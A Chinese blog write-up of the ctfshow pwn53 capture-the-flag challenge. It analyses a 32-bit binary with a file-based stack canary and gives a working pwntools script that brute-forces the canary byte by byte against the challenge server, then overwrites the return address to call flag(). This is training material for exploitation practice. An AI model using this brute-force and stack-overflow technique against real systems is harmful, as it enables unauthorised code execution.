Siriusuuu
Siriusuuu
发布于 2026-11-20 / 0 阅读
0
0

pwn53/canary保护机制+爆破

32位关闭栈保护与PIE

先看main

再看canary()

先声明了一个指针变量 stream ,用于表示文件指针。然后,使用 fopen函数打开名为

"/canary.txt" 的文件,以只读模式打开。如果打开失败,即文件不存在或无法打开,程序将输出一条错

误信息 "/canary.txt: No such file or directory." 并调用 exit(0) 终止程序。

再使用 fread 函数从打开的文件中读取 4 个字节(32 位)的数据,并将其存储到全局变量

global_canary 中。 &global_canary 是 global_canary 变量的地址,用于指定数据的存储位置。

fread函数:

fread 是 C 语言标准库 <stdio.h> 中用于 从文件流中读取二进制数据 的函数。

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);

参数

类型

说明

ptr

void *

指向接收数据的内存缓冲区的指针

size

size_t

每个要读取的元素的大小(字节数)

nmemb

size_t

要读取的元素个数

stream

FILE *

指向输入文件流的指针

read函数

ssize_t read(int fd, void *buf, size_t count);

参数

类型

说明

fd

int

文件描述符(0=标准输入stdin, 1=标准输出stdout, 2=标准错误stderr)

buf

void *

存放读取数据的缓冲区指针

count

size_t

最多要读取的字节数

memcmp函数

int memcmp(const void *s1, const void *s2, size_t n);

参数

类型

说明

s1

const void *

指向第一块内存的指针

s2

const void *

指向第二块内存的指针

n

size_t

要比较的字节数

返回值

含义

0

两块内存的前 n 个字节 完全相同

< 0

s1 的第一个不同字节 < s2 的对应字节

> 0

s1 的第一个不同字节 > s2 的对应字节

特性

memcmp

strcmp

比较方式

按 指定字节数 比较

遇到 \0 停止

适用场景

二进制数据、结构体、任意内存

以 \0 结尾的字符串

是否处理 \0

不特殊处理,\0 也是普通字节

遇到 \0 认为字符串结束

sscanf函数

用于 从字符串中按指定格式解析(提取)数据 。可以把它理解为 "string scanf" —— scanf 是从键盘(标准输入)读取,而 sscanf 是从一个已有的字符串中读取。

int sscanf(const char *str, const char *format, ...);

参数

类型

说明

str

const char *

源字符串 ,即要从中提取数据的字符串

format

const char *

格式化控制字符串 ,与 scanf/printf 的格式相同

...

可变参数

指向用于存储解析结果的变量的 指针列表

ctfshow:

size_t nbytes;        // [esp+4h] [ebp-54h] 要读取的字节数
_DWORD v2[8];         // [esp+8h] [ebp-50h] 用于存储输入的数字字符串(32字节)
_BYTE buf[32];        // [esp+28h] [ebp-30h] 目标缓冲区(32字节)
int s1;               // [esp+48h] [ebp-10h] 局部保存的 canary 值
int n31;              // [esp+4Ch] [ebp-Ch]  循环计数器

栈布局:

高地址

┌──────────────────────┐

│ 返回地址 (ret) [ebp+4]

├──────────────────────┤

│ 保存的 EBP [ebp]

├──────────────────────┤

│global_canary 副本[ebp-0x0C]← n31

│s1 (canary备份) [ebp-0x10] ← s1

├──────────────────────┤

│ buf[32] [ebp-0x30] ~ [ebp-0x11]

├──────────────────────┤

│v2[8](32字节)[ebp-0x50] ~ [ebp-0x31]

├──────────────────────┤

│ nbytes │ [ebp-0x54]

低地址

n31 = 0;
s1 = global_canary;

将全局变量 global_canary 的值保存到局部变量 s1 中

这是 Stack Canary(栈金丝雀)保护机制:在函数返回前检查 s1 是否被修改,以此检测栈溢出

printf("How many bytes do you want to write to the buffer?\n>");
while ( n31 <= 31 )
{
    read(0, (char *)v2 + n31, 1u);          // 从 stdin 逐字节读取
将 v2 强转为 char*(字节指针),然后偏移 n31 个字节。即写入 v2 数组的第 n31 个字节位置
    if ( *((_BYTE *)v2 + n31) == 10 )       // 如果读到换行符 '\n' (ASCII=10)
        break;
    ++n31;
}
__isoc99_sscanf(v2, "%d", &nbytes);         // 将字符串解析为整数
把用户输入的字符串v2转换成整数,赋给 nbytes。

功能 :

程序询问你要写入多少字节

用 read 系统调用 逐字节 读取输入到 v2 缓冲区(最多 31 字节)

遇到换行符 \n 停止

用 sscanf 将输入的字符串转为整数存入 nbytes

这里 v2 有 32 字节,且限制了最多读 31 个字符,所以这一步本身是安全的。

printf("$ ");
read(0, buf, nbytes);

这是整个函数的漏洞所在!

buf 只有 32 字节

但 read 会读取 nbytes 字节,而 nbytes 是 用户自己指定的

如果用户输入一个大于 32 的数字(比如 100),就会发生 栈溢出

溢出的数据会覆盖 s1、保存的 EBP、甚至 返回地址

代码通过比较 s1 和全局变量 global_canary 的值来检查堆栈的完整性。如果两者的值不

相等,表示堆栈被破坏,输出错误信息 "Error Stack Smashing Detected : Canary Value

Incorrect!",并调用 exit(-1) 终止程序。

最后,代码输出信息 "Where is the flag?",并调用 fflush(stdout) 刷新标准输出缓冲区。

总结起来,这段代码的功能是从标准输入读取用户输入的字节数,并将相应字节数的数据读取到缓

冲区 buf 中。然后,它会检查堆栈的完整性,如果堆栈被破坏,则输出错误信息并终止程序。我们可以看出程序是模拟了一个保护,但是由于文件名不变,其内容大概率也是不会变化的。加上题目提示猜测可以进行爆破。

在爆破完成知道canary的情况下,剩下的就是简单的栈溢出劫持程序执行流至flag函数就能get flag

flag():

exp:

from pwn import *

context.log_level = 'critical' //将日志级别设置为最高(只显示严重错误)。因为接下来要进行大量循环连接,如果输出默认的 INFO 日志,终端会被刷屏且拖慢速度。

canary = ''

for i in range(4): //# 外层循环:Canary 共 4 个字节,逐个破解

for c in range(0xFF): //# 内层循环:每个字节的值从 0x00 试到 0xFE (0~254)

#io = process('./pwn')

io = remote('pwn.challenge.ctf.show',28173)

io.sendlineafter('>','-1') //# 回答第一个问题 "How many bytes...",发送 '-1'

为什么发送 -1?


在之前的 C 代码分析中,read(0, buf, nbytes) 的第三个参数 nbytes 类型是 size_t(无符号整数,即恒正)。溢出:
当用户输入 -1 时,sscanf 将其解析为有符号的 -1,存入 size_t 变量后,会发生隐式类型转换,变成 0xFFFFFFFF(即 4GB)。这确保了接下来的 read 可以接收任意长度的 payload 而不会被截断。

payload = 'a'*0x20 + canary + p8(c)

//p8()是Python pwntools 库中的一个核心打包函数,用于 将整数c转换为 1 字节(8位)的二进制数据 。

这里故意 不覆盖 后面的返回地址和 EBP,只覆盖到 Canary 的位置。这样如果 Canary 猜对了,程序会正常执行到末尾;如果猜错了,程序会触发报错。

io.sendafter('$ ',payload)

io.recv(1)# 接收一个无关字符(可能是换行符或提示符)

ans = io.recv()# 接收程序的后续输出

print ans

if 'Canary Value Incorrect!' not in ans:

print 'The index({}),value({})'.format(i,c)

canary += p8(c)

break

else:

print 'tring... ...'

对应:

if ( memcmp(&s1, &global_canary, 4u) ) {
    puts("Error * ** Stack Smashing Detected ** * : Canary Value Incorrect!");
    exit(-1);
}
如果我们发送的 payload 中的 canary 部分与 global_canary  不一致 ,程序会打印 "Canary Value Incorrect!" 并退出。


如果 一致 ,程序不会打印这句话,而是继续执行 puts("Where is the flag?");。


因此,通过检测返回字符串中是否包含 "Canary Value Incorrect!",就能知道当前猜测的字节 c 是否正确。

io.close()

print 'canary=',canary

#io = process('./pwn')

io = remote('pwn.challenge.ctf.show',28173)

elf = ELF('./pwn')

flag = elf.sym['flag']

payload = 'a'*0x20 + canary + p32(0)*4 + p32(flag)

数据

长度

对应栈上的位置

作用

'a' * 0x20

32 字节

buf[32]

填满缓冲区

canary

4 字节

s1 (局部 canary)

填入刚才爆破出的正确 canary,骗过 memcmp 检查

p32(0) * 4

16 字节

n31、保存的 EBP 等中间填充物

用 0 填充从 canary 结束到返回地址之间的所有空间(具体偏移量由逆向分析得出,这里是 16 字节)

p32(flag)

4 字节

返回地址 (Return Address)

覆盖原来的返回地址,使其指向 flag 函数的入口地址

io.sendlineafter('>','-1') # 同样发送 -1 解除 read 的长度限制

io.sendafter('$ ',payload)

io.interactive()


评论